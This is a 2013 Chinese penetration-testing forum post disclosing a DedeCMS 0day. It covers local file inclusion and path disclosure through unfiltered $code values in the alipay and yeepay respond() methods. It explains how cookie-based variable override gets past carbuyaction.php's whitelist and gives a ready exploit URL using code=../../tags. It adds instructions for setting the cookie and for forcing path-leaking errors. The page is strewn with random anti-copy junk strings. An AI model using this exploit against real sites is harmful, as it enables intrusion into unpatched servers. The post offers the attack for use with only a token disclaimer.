中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
3 O. ~" N& r; S- \7 |
6 _! b' h; ]$ Q2 Q' A3 @# e6 e
出现漏洞的两个文件为:
& h' E4 H, [% M9 h
Include/payment/alipay.php
- ^% }5 Y2 n) N/ v, N# C
Include/payment/yeepay.php
# H+ j9 w& A& o4 R
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
: K9 S/ v: s V; ?. L" z+ O+ w6 y
+ H9 u& o) m5 K9 T1 E4 k! U0 r; y
Include/payment/alipay.php
; c6 G, k3 f1 G! ]9 f
) ^9 a. B3 W' I0 _( P
......
* A6 i9 _( [1 ~5 N+ b2 e D3 j
function respond()
7 J% @4 T |) X: I! k
{
/ e: k0 u7 P. N# d
if (!empty($_POST))
- E' l& E0 D" ~
{
& ]7 i' T( T, ?7 q
foreach($_POST as $key => $data)
; E' @: P2 R$ @& k
{
0 f- ^3 r; q1 ?6 K# l( a% E
$_GET[$key] = $data;
+ r% u& _+ H, @ t" p% s
}
, o2 K( w) E* T5 w
}
- C0 R9 ~1 P% P9 _* h
/* 引入配置文件 */
( S" M& v! r% n$ S
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
% F" [+ _* w |: ^4 b2 h* H
......
0 C( r( F& C0 H6 Q! b& s8 {
- e/ j3 Y4 g( O. J; j; m
& f. @9 g4 h/ l3 Q8 s
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ \9 _/ a& G" U6 k8 w
/ k% J' U4 z; y( Y1 x) }
Include/payment/yeepay.php
/ U; [( e( p, B( m
3 W L) c" \; _: f2 b
5 \; I1 z! w3 T* z, a; U2 t
; h. m2 x8 m( B' C7 v
......
( E# T) i% z" y4 R: Q
function respond()
2 z, r; N5 g/ j
{
- ^8 R+ ~# l% l
! ~% T2 ~* ]: z% K- O* O, ~
/* 引入配置文件 */
( x f" D8 E' S9 R
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
7 `* J, s* s1 l, K* P
( X* d9 R/ |$ d: r9 x6 P6 V% }
$p1_MerId = trim($payment['yp_account']);
2 z$ B4 [ b! ^% p
$merchantKey = trim($payment['yp_key']);
0 \' J2 Z$ D& B4 }/ d" K3 a* R, \
......
/ d# O- f$ Z3 @/ I7 d9 H6 |# m8 f! K
* } U( j; F0 o& l+ q8 A- Y+ C
. @1 j& T2 ~" p. k& i- ?
" ~6 d# a+ w- z9 t' {) J- ~
; ~4 ?# ?; `/ X& X6 A
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
" x* ~5 N* J+ ^4 g6 N
1 ~' e; k c% } t3 g: x
这两个方法在plus/carbuyaction.php文件调用。
" X7 P; O% t% p% b: [
2 }) X, p% O7 t( b2 [3 Y
plus/carbuyaction.php
- h% t* `8 G% d" _+ @* R
7 Z3 `3 x) ~9 |0 E/ L
......
4 l7 ]: e ]8 ~' e0 ]
} else if ($dopost == 'return') {
" r7 o( `1 x4 }3 @9 y# U6 D4 h: ?
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
" E7 f$ U& O" }7 N: _, Q
if (in_array($code, $write_list))
1 N5 P8 X4 Z" v! R
{
9 V6 Q7 \: W7 \6 U$ g
require_once DEDEINC.'/payment/'.$code.'.php';
! L0 q( \2 n# k9 B
$pay = new $code;
6 W* m' A+ K+ r& I
$msg=$pay->respond();
* g( G, @3 A8 P! t2 A
ShowMsg($msg, "javascript:;", 0, 3000);
3 K( y; \; T E9 A& `. {- z
exit();
) _9 Z! j% {+ A+ `. K. M- v/ K
} else {
6 o# L6 S3 @( g0 |/ T% f/ C
exit('Error:File Type Can\'t Recognized!');
, }1 |, k6 Z! v
}
* ~2 [3 d8 m5 j0 u2 d/ s: p
}
% c. Y# N0 I( Z4 I8 \7 O3 [* ]
......
: S0 r! I$ O, T
- A7 \. ]* C9 @- G' A
& ^8 h8 h: r0 P# j& t
5 a) Q# p, ^ U! o/ a
5 a; A- ~' r4 S! K& {& ] |- f
1 _- x1 ]+ H- Q9 O/ P% _. j+ |
) u8 Y2 a* T" ^( D; ~! U
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 ~% M$ M! D0 w- r* h1 B- T
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
7 y4 r- V* A& k8 N* [& _- A2 V/ R
0 _! j- D, `7 a8 V8 R/ _
回到include/common.inc.php来看看他的机制。
4 e( l# c( ?; Q
: d( _7 u6 F9 P: M5 m
$ p! p2 D0 q, |. a, e% G9 E
! f9 ~. u; n; }+ E9 W# q
......
, @" r) I$ d( _4 e! Z$ V- `
foreach(Array('_GET','_POST','_COOKIE') as $_request)
0 n" E/ S- I5 _8 D4 [6 ? {
{
0 L& M9 L) r, l
foreach($$_request as $_k => $_v)
% R' C2 C+ p0 N% {" ]
{
! }8 n: c! N3 D7 k. ?
if($_k == 'nvarname') ${$_k} = $_v;
# g1 M6 X* t' y* S6 S% @
else ${$_k} = _RunMagicQuotes($_v);
4 L! W& ? ]: I5 V3 n8 t
}
$ O/ o" m) H7 _( A
}
7 y4 y& N" D# l0 r u- X ~
......
& @) N0 d+ E$ Q
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
; b% @! Z* s0 ?& K/ a+ |
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2